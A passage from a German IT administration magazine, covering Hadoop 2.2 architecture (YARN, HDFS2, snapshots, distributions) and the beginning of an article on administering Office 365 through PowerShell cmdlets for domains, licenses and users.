Weiterentwicklung von MapReduce,<br />
MapReduce Version 2 (kurz: MRv2).<br />
Der Name wurde im Übrigen nicht rein<br />
zufällig gewählt. Die Aussprache von<br />
„YARN“ ähnelt dem englischen Wort<br />
„yearn“; dieses bedeutet so viel wie<br />
„etwas begehren“.<br />
YARN setzt direkt auf HDFS auf und<br />
übernimmt die Rolle eines verteilten<br />
Betriebssystems zur Ressourcen-<br />
Verwaltung für Big-Data-Applikationen<br />
(Abbildung 4). Dank YARN können<br />
Sie mit Hadoop 2.2.x interaktive<br />
Workloads, Echtzeit-Workloads und<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Know-how<br />
Hadoop<br />
69<br />
automatisierte Workloads ineinander<br />
verweben. Das Beste daran: YARN ist<br />
rückwärtskompatibel zu MapReduce<br />
auf der API-Ebene (hadoop-0.20.205)<br />
und verbessert nebenbei die Kompatibilität<br />
von Hadoop mit anderen<br />
Projekten der Apache Software Foundation.<br />
Wer unbedingt darauf besteht,<br />
MapReduce in der alten Ausführung<br />
zu nutzen, kann es jetzt als ein Modul<br />
laden. Das sollte allerdings nicht nötig<br />
sein, denn MapReduce-Applikationen<br />
sind binärkompatibel zwischen beiden<br />
Generationen von Hadoop.<br />
Die wichtigste Änderung in YARN gegenüber<br />
dem klassischen MapReduce<br />
ist die Zuteilung der zwei Funktionen<br />
des JobTrackers – der Ressourcen-<br />
Verwaltung und der Zeitverwaltung/<br />
Workload-Überwachung – zu zwei<br />
separaten Daemons: dem globalen<br />
ResourceManager (RM) und dem Jobspezifischen<br />
ApplicationMaster (AM).<br />
Der ResourceManager besteht wiederum<br />
aus zwei Grundkomponenten: dem<br />
sogenannten Scheduler und dem ApplicationsManager.<br />
Der Scheduler verantwortet<br />
die Zuweisung von Ressourcen<br />
zu den verschiedenen laufenden Applikationen,<br />
fühlt sich aber für die Überwachung<br />
der Workloads nicht zuständig.<br />
Der Scheduler berücksichtigt sowohl<br />
den Ressourcen-Bedarf der einzelnen<br />
Applikationen als auch die Einschränkungen<br />
der Kapazitäten des Clusters.<br />
Abbildung 3: Applikationen mit Unterstützung für YARN in Hadoop 2.x: MapReduce ist jetzt ein Modul<br />
im User-Space, binärkompatibel mit Altlasten-Applikationen aus Hadoop 1.x.<br />
In der aktuellen Version kann der<br />
Scheduler leider nur eine Ressource<br />
verwalten: den Arbeitsspeicher. In<br />
künftigen Versionen von YARN soll es<br />
möglich sein, CPU-Zyklen, den Massenspeicher<br />
und die Netzwerkbandbreite<br />
des Clusters einzelnen Applikationen<br />
zuzuteilen.<br />
Die Zuteilung von Ressourcen erfolgt<br />
durch das Partitionieren des sogenannten<br />
Ressourcen-Containers, einer virtuellen<br />
Compute-Einheit in einem Knoten<br />
des Clusters. Ein Knoten kann im Übrigen<br />
über mehrere solche Container<br />
verfügen. Der ApplicationsManager (die<br />
zweite Grundkomponente des ResourceManagers<br />
neben dem Scheduler)<br />
nimmt Workload-Aufträge entgegen.<br />
Der ApplicationsManager initiiert hierzu<br />
die Einrichtung des ersten Ressourcen-<br />
Containers für den ApplicationMaster<br />
und startet diesen (beziehungsweise<br />
startet diesen nach einem Absturz neu).<br />
Der Applikations-gebundene ApplicationMaster<br />
fordert die benötigten<br />
Ressourcen-Container vom Scheduler
70<br />
Know-how<br />
Hadoop<br />
Abbildung 4: Die Architektur von Hadoop 2.x: Ressourcen-Verwaltung durch YARN basiert auf logischen Einheiten<br />
der sogenannten Ressourcen-Container; das Anfordern von Ressourcen ist nun von der Applikationslogik<br />
getrennt.<br />
an (der Scheduler ist Teil des ResourceManagers),<br />
und beginnt, sie zu überwachen.<br />
HDFS kennt zwei Typen von Servern<br />
oder Clusterknoten: Namenknoten<br />
(NameNodes) und Datenknoten (DataNodes).<br />
NameNodes verwalten Metadaten;<br />
die eigentlichen Datenblöcke<br />
werden auf den DataNodes vorgehalten.<br />
Für jeden Knoten des Clusters (also<br />
eine einzelne Maschine) zeichnet sein<br />
eigener NodeManager verantwortlich.<br />
Dieser überwacht die Verwendung der<br />
Ressourcen der Container und berichtet<br />
an den ResourceManager/Scheduler,<br />
was auf dem jeweiligen Knoten<br />
gerade vor sich geht. Die neue Architektur<br />
ermöglicht erhebliche Kosteneinsparungen<br />
(Abbildung 5). Yahoo schätzt<br />
die erzielten Verbesserungen der Node-<br />
Auslastung auf 60 bis 150 Prozent pro<br />
Tag. Yahoo testete YARN mit 365 PByte<br />
an Daten mit 400 000 Jobs auf 40 000<br />
Cluster-Nodes mit einer Gesamtrechenzeit<br />
von 10 Millionen Stunden. Eine<br />
Hochverfügbarkeitsimplementierung<br />
Abbildung 5: Zum Vergleich: In Hadoop 1.x werden die vorhandenen Ressourcen des Clusters hart partitioniert,<br />
was eine suboptimale Nutzung der verfügbaren Kapazitäten zur Folge hatte. Jobs, die sich nicht per »map« und<br />
»reduce« aufteilen ließen, liefen entsprechend langsam ab.<br />
des YARN-ResourceManagers<br />
ist für eine künftige<br />
Version geplant.<br />
HDFS2<br />
HDFS galt schon immer als<br />
zuverlässig. Im Einsatz bei<br />
Yahoo auf 20 000 Knoten in<br />
zehn Clustern ließ sich der<br />
Verlust von nur 650 verlorenen<br />
Datenblöcken von<br />
insgesamt 329 Millionen<br />
auf HDFS-Fehler zurückführen.<br />
Das war 2009. Seither<br />
hat die Apache Foundation<br />
an der Zuverlässigkeit von<br />
HDFS intensiv gefeilt.<br />
Trotz seiner Zuverlässigkeit<br />
hatte HDFS in Hadoop v1<br />
einen klaren Single-Pointof-Failure:<br />
den Namenknoten<br />
(NameNode), die<br />
Schaltzentrale zum Verwalten von<br />
Zugriffen auf Daten mithilfe von Metadaten.<br />
Zwar waren NameNodes redundant<br />
ausgelegt, jedoch ließen sie sich nur in<br />
einer Aktiv/Passiv-Node-Architektur betreiben.<br />
Beim Ausfall eines aktiven Namenknotens<br />
musste der Administrator<br />
die Konfiguration manuell anpassen. So<br />
konnte der Ausfall eines Namenknotens<br />
das ganze HDFS zum Erliegen bringen;<br />
aktuell laufende Schreibprozesse sowie<br />
Jobs in der Warteschlange wurden mit<br />
einer Fehlermeldung abgebrochen.<br />
Die Implementierung<br />
geschäftskritischer Workloads,<br />
die interaktiv in<br />
Echtzeit ablaufen müssen,<br />
war dadurch sehr problematisch.<br />
Die Hadoop-Entwickler<br />
haben sich des Problems<br />
angenommen und sich<br />
eine Lösung einfallen<br />
lassen: den Hochverfügbarkeits-Namenknoten<br />
(HA-Namenknoten). Der<br />
HA-Namenknoten wartet<br />
auf der sprichwörtlichen<br />
Reservebank und kann<br />
bei Bedarf für den aktiven<br />
Namenknoten einspringen.<br />
In Hadoop 2.0 lässt sich<br />
dieser sogenannte Failover<br />
dennoch nur durch einen<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Know-how<br />
Hadoop<br />
71<br />
manuellen Eingriff durch den Hadoop-<br />
Administrator auslösen.<br />
In Hadoop 1.0 war zusätzlich zu einem<br />
Namenknoten ein weiterer Knoten vorgesehen,<br />
der ihm sprichwörtlich über<br />
die Schultern schaute. Jetzt fällt diese<br />
Aufgabe dem HA-Namenknoten zu.<br />
HDFS-Federation<br />
Um den Namendienst horizontal zu<br />
skalieren, nutzt Hadoop 2.2.0 Federation<br />
mit mehreren völlig unabhängigen<br />
Namenknoten und Namensräumen.<br />
Die Namenknoten sind unabhängig, indem<br />
sie ihre Arbeit nicht koordinieren.<br />
Alle Namenknoten greifen unabhängig<br />
voneinander auf eine gemeinsame<br />
Sammlung von Datenknoten zu. Jeder<br />
dieser Datenknoten registriert sich bei<br />
allen Namenknoten des eigenen Clusters,<br />
sendet periodisch ein Heartbeat-<br />
Signal sowie Block-Berichte und nimmt<br />
Befehle entgegen. Eine Implementierung<br />
von Symlinks war zwar für diese<br />
Version geplant, wurde jedoch in der<br />
letzten Minute gestrichen.<br />
HDFS-Snapshots<br />
In Hadoop 2.x debütieren Snapshots des<br />
HDFS-Dateisystems: nicht-beschreibbare<br />
Kopien des Dateisystems, die seinen<br />
Zustand zu einem definierten Zeitpunkt<br />
erfassen (Point-in-Time Copy).<br />
Für einen HDFS-Snapshot werden<br />
keine DataNodes kopiert. Der Snapshot<br />
erfasst lediglich die Liste aller Datenblöcke<br />
und die Größe der Dateien. Der<br />
Vorgang hat keinen negativen Effekt<br />
auf sonstige I/O-Operationen. Änderungen<br />
werden in umgekehrter chronologischer<br />
Reihenfolge aufgezeichnet,<br />
sodass auf die aktuellen Daten direkt<br />
zugegriffen werden kann. Der Zustand<br />
der Daten für den Snapshot errechnet<br />
HDFS2 durch die Subtraktion betreffender<br />
Änderungen vom aktuellen Zustand<br />
des Dateisystems.<br />
Der Vorgang benötigt in der Regel auch<br />
keinen zusätzlichen Arbeitsspeicher<br />
(außer wenn gleichzeitig geschrieben<br />
wird). Um Snapshots zuzulassen, nutzt<br />
der Administrator den folgenden Befehl<br />
mit Berechtigungen des Superusers:<br />
hdfs dfsadmin ‐allowSnapshot U<br />
Pfad‐zum‐snapshotbaren‐Verzeichnis<br />
Abbildung 6: Der Hadoop-2.x-Stack mit Apache TEZ: Performance-Steigerung dank der Datenverarbeitung<br />
im Arbeitsspeicher des Clusters.<br />
Der betreffende Verzeichnisbaum kann<br />
dann mit den Benutzerrechten des<br />
Besitzers in einem Snapshot wie folgt<br />
erfasst werden:<br />
hdfs dfs ‐createSnapshot U<br />
Pfad‐zum‐snapshotbaren‐Verzeichnis U<br />
[]<br />
Alternativ kann man selbstverständlich<br />
auch vom Java-API Gebrauch machen.<br />
Um den Pfad zu Snapshots zu kennzeichnen,<br />
haben die Entwickler von<br />
HDFS2 den Objektnamen ».snapshot«<br />
vorgesehen. Falls in dem HDFS-Dateisystem<br />
Ihrer Hadoop-Installation diese<br />
Zeichenkette vorkommt, müssen Sie<br />
die betreffenden Objekte vor dem Upgrade<br />
unbedingt umbenennen, sonst<br />
schlägt es fehl.<br />
Die Distributionen<br />
Rund um Hadoop ist inzwischen ein<br />
ganzes Ökosystem spezialisierter<br />
Lösungen entstanden. Apaches Distribution<br />
von Hadoop adressiert primär<br />
Anbieter von Big-Data-Tools, die ihre<br />
eigenen (kommerziellen) Lösungen darauf<br />
aufsetzen. In diese Kategorie fallen<br />
unter anderem Cloudera, Hortonworks,<br />
IBM, SAP und EMC.<br />
Für den unternehmenskritischen Einsatz<br />
von Hadoop mag eine Hadoop-<br />
Distribution mit 24/7-Support eines<br />
Dienstleisters wie Cloudera [1] oder<br />
Hortonworks [2] tatsächlich vorteilhaft<br />
sein. Allerdings lassen sich diese<br />
Anbieter dafür fürstlich bezahlen. Wer<br />
einen Service-Vertrag nicht dringend<br />
benötigt, dem steht es frei, kostenlose<br />
Versionen dieser Distributionen zu nutzen.<br />
Darüber hinaus gibt es Hadoop-<br />
Distributionen, die speziell für kleinere<br />
bis mittelgroße Unternehmen geschaffen<br />
wurden, wie Stratosphere von der<br />
TU Berlin [3].<br />
Stratosphere von der TU<br />
Berlin<br />
Stratosphere verbindet eine einfache<br />
Installation mit leichter Bedienbarkeit<br />
und einer hohen Performance. Die<br />
Plattform skaliert auch auf großen<br />
Clustern, nutzt Mehrkernprozessoren<br />
und unterstützt In-Memory-Datenverarbeitung.<br />
Sie verfügt außerdem über<br />
fortgeschrittene Analytikfunktionalität<br />
und erlaubt es dem Anwender sogar,<br />
die Aufträge in Java und Scala zu programmieren.<br />
Stratosphere wird in Deutschland unter<br />
der Federführung von Prof. Dr. Volker<br />
Markl an der TU Berlin im Fachgebiet<br />
Datenbanksysteme und Informationsmanagement<br />
(DIMA) entwickelt. Stratosphere<br />
läuft dabei sowohl on-premise<br />
als auch in der Cloud, also etwa auf<br />
Amazon EC2.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
72<br />
Know-how<br />
Hadoop<br />
n Info<br />
Hadoop-Dienste<br />
Für den wachstumsorientierten Mittelstand<br />
gibt es inzwischen eine reiche<br />
Auswahl an Hadoop-Diensten.<br />
Amazon bietet mit Elastic MapReduce<br />
(EMR) eine Implementierung von Hadoop<br />
mit Unterstützung für Hadoop 2.2<br />
und HBase 0.94.7 sowie die MapR-M7-,<br />
M5- und M3-Hadoop-Distributionen<br />
von MapR Technologies an. Der Dienst<br />
adressiert Unternehmen, Forscher, Datenanalysten<br />
und Entwickler in den Bereichen<br />
Web-Indizierung, Data-Mining,<br />
Protokolldateianalyse, maschinelles<br />
Lernen, Finanzanalyse, wissenschaftliche<br />
Simulationen und bioinformatische<br />
Forschung. Kunden, die HBase implementieren<br />
möchten, bietet Elastic Map<br />
Reduce mit M7 nahtlose Splits ohne<br />
Komprimierung, sofortige Wiederherstellung<br />
nach Fehlern, Zeitpunktwiederherstellung,<br />
Full-HA, Spiegelung<br />
und konsistent geringe Latenzen. In<br />
dieser Ausführung fallen allerdings zusätzliche<br />
Kosten an. Auch Google (mit<br />
Compute Engine) und Microsoft (mit<br />
Azure) haben eigene Implementierungen<br />
von Hadoop im Köcher.<br />
Mit Hadoop als Service in der Wolke<br />
entfallen für die betroffenen Unternehmen<br />
Vorabinvestitionen für Hardware,<br />
die verzögerte Bereitstellung bestellter<br />
Infrastruktur und andere Auslagen. Ein<br />
gutes Beispiel ist dank der übersichtlichen<br />
Preisstruktur Amazon EMR. Mit<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31338<br />
[1] Hadoop-Distribution von Cloudera: [http://<br />
www. cloudera. com/ content/ cloudera/ en/<br />
products‐and‐services/ cdh. html]<br />
[2] Hadoop-Distribution von Hortonworks:<br />
[http:// hortonworks. com/ products/<br />
hadoop‐support]<br />
[3] Hadoop-Distribution Stratosphere von der Technischen<br />
Universität Berlin: [https:// github. com/<br />
stratosphere/ stratosphere]<br />
[4] Vergleich der Hadoop-Distributionen von<br />
MapR Technologies: [http:// www. mapr. com/<br />
products/ mapr‐editions]<br />
Abbildung 7: Zum Vergleich: In Hadoop<br />
1.x waren alle Applikationen auf die Nutzung<br />
von MapReduce angewiesen.<br />
EMR können Sie einen Hadoop-Cluster<br />
bloß temporär einrichten, sodass er<br />
sich nach Abschluss der Analyse von<br />
selbst auflöst und Sie keine weiteren<br />
Kosten tragen. Die Preise beginnen bei<br />
0,015 Dollar pro Stunde für den EMR-<br />
Dienst pro Instanz zuzüglich der ebenfalls<br />
im Stundentakt anfallenden EC2-<br />
Kosten für jede Instanz des gewählten<br />
Typs (ab 0,06 Dollar pro Instanz).<br />
Für 100 Instanzen zahlen Sie also pro<br />
Stunde bis zu 1,50 Dollar für Hadoop<br />
(100 x 0,015 USD) und bis zu 6,00 Dollar<br />
für bis zu 100 laufende On-Demand-<br />
Instanzen (100 x 0,06 USD). Unterm<br />
Strich kommen Sie also mit 7,50 USD<br />
pro Stunde für 100 Small-Instanzen<br />
weg. Um die Kosten noch weiter zu<br />
drücken, könnte man diese Instanzen<br />
schließlich zusätzlich für bis zu drei<br />
Jahre reservieren.<br />
Nummerierung<br />
Hadoop-Entwickler haben sich mit<br />
der Wahl der Versionsnummern selbst<br />
keinen großen Gefallen getan. Wer<br />
beachtliche Entwicklungsschritte mit<br />
der zweiten Dezimalstelle einer Versionsnummer<br />
kennzeichnet – wie von<br />
Version 0.20 zur Version 0.23 – darf sich<br />
anschließend nicht wundern, wenn die<br />
Anwender von den Fortschritten kaum<br />
Notiz nehmen.<br />
Die Version 0.20 bezeichnet die erste<br />
Hadoop-Generation (v1.0, Abbildung 7).<br />
Wann immer vom 0.23-Zweig die Rede<br />
ist (Abbildung 6), geht es um Hadoop<br />
2.2.x. Die Versionsnummer 2.2.0 bezeichnet<br />
das erste Release der zweiten<br />
Generation mit der allgemeinen Verfügbarkeit.<br />
Ein Produkt der Enterprise-Klasse, das<br />
sich in der harten Praxis seit Jahren<br />
bewährt, hätte sich eigentlich eine<br />
höhere Versionsnummer verdient. Der<br />
scheinbar minimale Generationssprung<br />
auf die Version 2.2.0 trägt dem deutlich<br />
fortgeschrittenen Reifegrad von Hadoop<br />
kaum Rechnung. Der Qualität von<br />
Hadoop tut die zögerliche Nummerierung<br />
jedoch keinen Abbruch.<br />
Die steigende Bedeutung von Hadoop<br />
erkennt man unter anderem auch daran,<br />
dass zahlreiche prominente Anbieter<br />
ihre kommerziellen Lösungen an Hadoop<br />
anpassen. SAP verkauft die Intel-<br />
Distribution und die HortonWorks Data<br />
Platform für Hadoop. SAP Hana, eine<br />
Datenanalyseplattform für Big Data, integriert<br />
sich nahtlos mit Hadoop.<br />
DataStax liefert eine Distribution von<br />
Hadoop und Solr mit der eigenen<br />
NoSQL-Lösung DataStax Enterprise.<br />
Anwender von DataStax Enterprise<br />
nutzen Hadoop zur Datenverarbeitung,<br />
Apache Cassandra als eine Datenbank<br />
für transaktionale Daten und die Suchmaschine<br />
Solr für die verteilte Suche.<br />
Cassandra unterstützt im Übrigen das<br />
Ausführen von Hadoop-MapReduce-<br />
Jobs auf einem Cassandra-Cluster.<br />
Fazit<br />
Nach vier Jahren Entwicklungsarbeit<br />
überrascht Hadoop 2.2.0 seine Anwender<br />
mit bahnbrechenden Neuerungen.<br />
Dank der Modularisierung und einer<br />
HA-HDFS gelang es der Apache Foundation,<br />
den Abstand zu Alternativen zu<br />
halten oder sogar noch zu vergrößern.<br />
Dank der deutlich verbesserten Verwaltung<br />
von Workloads hat Hadoop<br />
eine ganz neue Anziehungskraft für den<br />
Mittelstand bekommen. Großunternehmen<br />
konnten sich die benötigten<br />
Zusatzfunktionen schon immer maßgeschneidert<br />
programmieren lassen,<br />
der Mittelstand war dagegen bisher mit<br />
der mühsamen Entwicklung schlicht<br />
überfordert. Das hat sich mit Hadoop<br />
2.2.0 nun glücklicherweise endgültig<br />
geändert. (jcb) n<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
74<br />
Know-how<br />
Office 365<br />
Office 365 mit der Powershell verwalten<br />
Remote<br />
Office<br />
sellingpix, 123RF<br />
Microsoft bietet seine Office-Programme auch als Service<br />
in der Cloud an. Um den Dienst mit dem Namen Office 365<br />
in die eigene Infrastruktur zu integrieren, drängt sich die<br />
die Powershell als Helfer geradezu auf. Thomas Joos<br />
Unternehmen setzen immer häufiger<br />
auf Cloud-Dienste, wie sie Microsoft mit<br />
Office 365 anbietet. Die Verwaltung dieser<br />
Dienste erfolgt normalerweise über<br />
eine Webschnittstelle. Es gibt allerdings<br />
auch Erweiterungen für die Powershell,<br />
über die Administratoren somit Daten<br />
abrufen und Einstellungen vornehmen<br />
können.<br />
Damit Sie Office 365 in der Powershell<br />
verwalten können, müssen Sie zuerst<br />
zwei Erweiterungen herunterladen<br />
und installieren. Danach rufen Sie die<br />
normale Powershell auf und verbinden<br />
diese Sitzung mit Ihrem Office-<br />
365-Abonnement. Herunterladen<br />
und installieren müssen Sie zunächst<br />
den »Microsoft Online Services‐Anmelde‐Assistent«<br />
und »Windows Azure<br />
Active Directory‐Modul für Windows<br />
Powershell«. Die Downloads finden Sie<br />
auf den Seiten [1][2][3]. Achten Sie darauf,<br />
dass Sie die korrekte Version herunterladen,<br />
also »32 Bit« oder »64 Bit«.<br />
Außerdem muss auf dem Rechner das<br />
.NET-Framework mindestens in Version<br />
3.5.1 installiert sein.<br />
Sollten bei der Einrichtung und der<br />
Installation Probleme auftreten, liegt<br />
es in den meisten Fällen an Inkompatibilitäten<br />
zwischen dem Online-<br />
Services-Anmelde-Assistenten, dem<br />
Windows-Azure-Active-Directory-Modul<br />
für Windows Powershell und Ihrem Office-365-Abonnement.<br />
Installieren Sie<br />
immer die neuesten Versionen dieser<br />
Anwendungen von den erwähnten Seiten.<br />
Sie können die Einrichtung auch<br />
über Ihr Office-365-Portal im Software-<br />
Bereich vornehmen [4]. Treten Fehler<br />
auf, deinstallieren Sie die einzelnen Module<br />
in Windows über »appwiz.cpl« und<br />
installieren Sie danach die aktuellen<br />
Versionen neu.<br />
Gelingt die Anmeldung an Office 365<br />
immer noch nicht, liegt es in den<br />
meisten Fällen an Problemen mit dem<br />
Microsoft-Online-Services-Anmelde-<br />
Assistent. Installieren Sie in diesem<br />
Fall entweder die aktuelle Beta-Version<br />
oder verwenden Sie die aktuelle offizielle<br />
Version von der Seite [5]. Achten<br />
Sie bei der Installation auch auf die korrekte<br />
Sprache. Beide Versionen können<br />
Sie nicht parallel auf einem Rechner betreiben.<br />
Sie müssen die andere Version<br />
immer deinstallieren (»appwiz.cpl«),<br />
bevor Sie den Nachfolger installieren.<br />
Starten Sie zum ersten Mal die Powershell<br />
als Administrator oder mit einer<br />
Verbindung zu Office 365 oder Windows<br />
Azure, müssen Sie noch die Ausführung<br />
der Skripte erlauben. Dazu geben Sie<br />
den Befehl »Set‐executionpolicy RemoteSigned«<br />
ein.<br />
Mit der Cloud verbinden<br />
Um die Commandlets zur Verwaltung<br />
von Office 365 zu importieren, geben<br />
Sie in der Powershell den Befehl »Import‐Module<br />
MSOnline« ein. Sie können<br />
den Befehl und später auch die Office-<br />
365-Commandlets natürlich auch in der<br />
Powershell-ISE verwenden. Damit Sie<br />
mit den Commandlets auf Ihr Office-<br />
365-Abonnement zugreifen können,<br />
müssen Sie sich zuerst bei Office 365<br />
anmelden und authentifizieren. Dazu<br />
dient das Commandlet »Connect‐Msol-<br />
Service«. Im folgenden Anmeldefenster<br />
geben Sie die E-Mail-Adresse und das<br />
Kennwort eines Office-365-Administrators<br />
ein. Sie erhalten keine Rückmeldung<br />
über die erfolgreiche Verbindung.<br />
Das Commandlet zeigt aber Fehler an,<br />
falls der Verbindungsversuch scheitern<br />
sollte.<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Know-how<br />
Office 365<br />
75<br />
Ein Vorteil bei der Verwendung der<br />
Powershell-ISE ist die eingebaute<br />
Hilfe. Wenn Sie ein Commandlet eingeben,<br />
blendet das Programm bereits<br />
mögliche Befehle und Optionen ein<br />
(Abbildung 1). Die meisten Befehle für<br />
die Verwaltung von Office 365 in der<br />
Powershell enthalten die Zeichenfolge<br />
»msol«. Wollen Sie eine Liste der vorhandenen<br />
Commandlets zur Verwaltung<br />
von Office 365 anzeigen, erreichen<br />
sie das über »get‐command *msol*«.<br />
Die Anmeldedaten für Office 365 können<br />
Sie in einer Variablen speichern.<br />
Geben Sie dazu zum Beispiel »$aut =<br />
Get‐Credential« ein. Im anschließend<br />
erscheinenden Dialog geben Sie die Anmeldedaten<br />
ein, die in der Variable landen.<br />
Der Befehl »Connect‐MsolService<br />
‐Credential $aut« stellt dann wieder die<br />
Verbindung her.<br />
Überblick<br />
Mit der Powershell gelangen Sie wesentlich<br />
schneller an wichtige Informationen<br />
als in der grafischen Oberfläche.<br />
»Get‐MsolDomain« zeigt die Domänen<br />
an, die Sie in Ihrem Office-365-Abonnement<br />
verwenden. Sie sehen hier<br />
auch den Status der Domäne, also ob<br />
sie von Office 365 verifiziert ist und<br />
verwaltet wird. »Get‐MsolDomainVerificationDNS«<br />
fragt Daten zur Domäne<br />
ab. Wenn alles ok ist, erhalten Sie keine<br />
Rückmeldung. Wenn die Domäne mit<br />
Ihrem Office-365-Abonnement nicht<br />
verbunden ist, erscheint eine Fehlermeldung.<br />
Sie können auch Domänen<br />
über die Powershell entfernen und<br />
Standarddomänen festlegen. Um<br />
Domänen zu löschen, müssen Sie zunächst<br />
die Standarddomäne ändern.<br />
Folgendes Beispiel zeigt die Änderungen:<br />
Set‐MsolDomain ‐Name contoso.U<br />
onmicrosoft.com ‐IsDefault<br />
Sobald Sie die Standarddomäne geändert<br />
habe, können Sie nicht mehr<br />
benötigte Domänen löschen:<br />
Remove‐MsolDomain ‐DomainName contoso.com<br />
Sie sollten aber niemals die Standarddomäne<br />
»Domäne.onmicrosoft.com«<br />
löschen, die teilweise<br />
von internen Diensten<br />
benötigt wird. Das<br />
gleiche gilt für »mail.<br />
Domäne.onmicrosoft.<br />
com«, die zum Beispiel<br />
vom Virenschutz<br />
Exchange Online Protection<br />
in Office 365<br />
verwendet wird. Das<br />
gilt auch bei Hybridbereitstellungen<br />
mit<br />
Exchange 2010/2013.<br />
Lizenzen<br />
Um Office 365 zu verwalten, müssen Sie<br />
erst einige wichtige Informationen zum<br />
entsprechenden Abonnement, den hinterlegten<br />
Benutzern und den gesetzten<br />
Einstellungen abrufen. Mit der wichtigste<br />
Punkt bei der Verwaltung von<br />
Office 365 sind sicherlich die Lizenzen.<br />
Diese verwalten Sie in der Weboberfläche<br />
im Bereich des Administrators über<br />
»Lizenzen«.<br />
In größeren Umgebungen können Sie<br />
die Verwaltung der Lizenzen delegieren,<br />
zum Beispiel an die Buchhaltung<br />
oder das Controlling. Das geht aber nur<br />
in größeren Editionen von Office 365.<br />
Dazu klicken Sie im Bereich »Lizenzen«<br />
auf »Einstellungen« und wählen<br />
»Benutzerverwaltungsadministrator«<br />
aus. Wählen Sie dort den Benutzer<br />
aus, der die Lizenzen verwalten soll.<br />
Dieser Benutzer kann dann auch in der<br />
Powershell die Lizenzen einsehen und<br />
verwalten. Mit der Powershell lassen<br />
sich zum Beispiel übersichtliche Tabellen<br />
anzeigen, was in der grafischen<br />
Oberfläche nicht geht. Alle verfügbaren<br />
Rollen in Ihrem Office-365-Abonnement<br />
und deren Funktion zeigen Sie in der<br />
Powershell mit »Get‐MsolRole« an.<br />
Denken Sie aber daran, dass die Benutzerrolle<br />
»Benutzerverwaltungsadministrator«<br />
weitere Rechte für die Benutzerverwaltung<br />
besitzt, zum Beispiel<br />
das Zurücksetzen von Kennwörtern.<br />
»Get‐MsolUser« kann Informationen Ihrer<br />
Benutzer anzeigen.<br />
Verwenden Sie, wie<br />
bei anderen Get-Commandlets<br />
auch, die<br />
Option »|ft«, erhalten<br />
Sie eine formatierte<br />
Abbildung 1: Die Powershell blendet bereits bei der Eingabe von Befehlen<br />
eine Hilfe ein.<br />
Tabelle, während »|fl« eine formatierte<br />
Liste anzeigt. Hinter der Option »|ft«<br />
oder »|fl« können Sie die Spalten festlegen,<br />
welche die Powershell anzeigen<br />
soll. Um zum Beispiel die lizenzierten<br />
Benutzer anzuzeigen, verwenden Sie<br />
den Befehl »get‐msoluser |ft UserPrincipalname,<br />
Displayname, *lic*« (Abbildung<br />
2). Mit der Option »‐Autosize«<br />
wird die Tabelle an das Fenster angepasst.<br />
In der Powershell können Sie aber auch<br />
das Lizenzmodell und die Office-365-<br />
Edition auslesen, die im Unternehmen<br />
eingesetzt wird. Hierfür verwenden<br />
Sie das Commandlet »Get‐MsolAccountSku«.<br />
Auch das Commandlet<br />
»Get‐MsolSubscription« zeigt weitere<br />
Informationen zum Abonnement an.<br />
Informationen zum Ansprechpartner,<br />
technischen E-Mails und weitere Daten<br />
erhalten Sie mit »Get‐MsolCompany-<br />
Information«. Um die Lizenzen eines<br />
bestimmten Benutzers zu verwalten,<br />
verwenden Sie:<br />
get‐msoluser ‐userprincipalnameU<br />
"UPN" | select licenses, islicensedU<br />
| fl<br />
Natürlich können Sie auch Lizenzen<br />
direkt zuweisen:<br />
set‐msoluserlicense ‐userprincipalnameU<br />
"UPN" ‐addlicenses "Lizenzname"<br />
Abbildung 2: In der Powershell können Sie die verwendeten Lizenzen<br />
Ihres Office-365-Abonnements anzeigen.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
76<br />
Know-how<br />
Office 365<br />
Abbildung 3: In der Powershell stehen einige Befehle<br />
zur Verwaltung von Benutzern aus Office 365 zur<br />
Verfügung.<br />
Eine ausführliche Liste zu den Möglichkeiten<br />
von »Set‐MsolUserLicense«<br />
finden Sie in der Technet-Bibliothek [6].<br />
Informationen zum Batch-Ändern von<br />
Lizenzen bietet die Seite [7].<br />
Benutzer verwalten<br />
Neben den bereits erwähnten Commandlets<br />
gibt es weitere Befehle, mit<br />
denen Sie Benutzer in Office 365 anlegen,<br />
verwalten und löschen können.<br />
Die wichtigsten Commandlets in diesem<br />
Bereich sind:<br />
n »New‐MsolUser« – Anlegen eines<br />
neuen Benutzers. Um zum Beispiel<br />
Abbildung 4: Anzeigen der verfügbaren Befehle für Microsoft Online<br />
Backup in der Powershell.<br />
einen neuen Benutzer mit einem<br />
kurzen Befehl anzulegen, verwenden<br />
Sie »New‐MsolUser ‐UserPrincipal-<br />
Name "E‐Mail‐Adresse" ‐Display-<br />
Name "Anzeigename"«. Das Commandlet<br />
erzeugt das Passwort und<br />
zeigt es an.<br />
n »Remove‐MsolUser« – das Commandlet<br />
löscht den Benutzer und<br />
gibt die zugewiesenen Lizenzen frei.<br />
Danach darf sich der Benutzer noch<br />
30 Tage lang anmelden.<br />
n »Restore‐MsolUser« – der ursprüngliche<br />
Status des Benutzers wird<br />
wiederhergestellt. Das funktioniert<br />
bis zu 30 Tage nach der Löschung.<br />
Sie können Postfächer aber auch<br />
endgültig löschen und so eine Wiederherstellung<br />
verhindern.<br />
n »Set‐MsolUser« – Aktualisieren eines<br />
Benutzers und Ändern seiner Einstellungen.<br />
n »Set‐MsolUserPassword «– Ändern<br />
des Kennwortes.<br />
Alle Commandlets zum Verwalten von<br />
Benutzern sehen Sie mit »get‐command<br />
*msoluser*« (Abbildung 3). Die<br />
zur Administration von Gruppen verfügbaren<br />
Befehle zeigt »get‐command<br />
*msolgroup*« an.<br />
Wollen Sie zum Beispiel festlegen, dass<br />
für einen Benutzer das Kennwort nie<br />
ablaufen soll, verwenden Sie den Befehl<br />
»Set‐MsolUser ‐UserPrincipalName<br />
Benutzername ‐PasswordNeverExpires<br />
$True«. Ohne diese<br />
Option muss der entsprechende<br />
Benutzer<br />
sein Kennwort alle<br />
90 Tage ändern. Mit<br />
»$False« machen Sie<br />
diese Option wieder<br />
rückgängig. Es ist auch<br />
möglich, die komplexen<br />
Kennwörter für<br />
einen Benutzer zu aktivieren.<br />
Dazu dient die<br />
Option »‐StrongPasswordRequired«:<br />
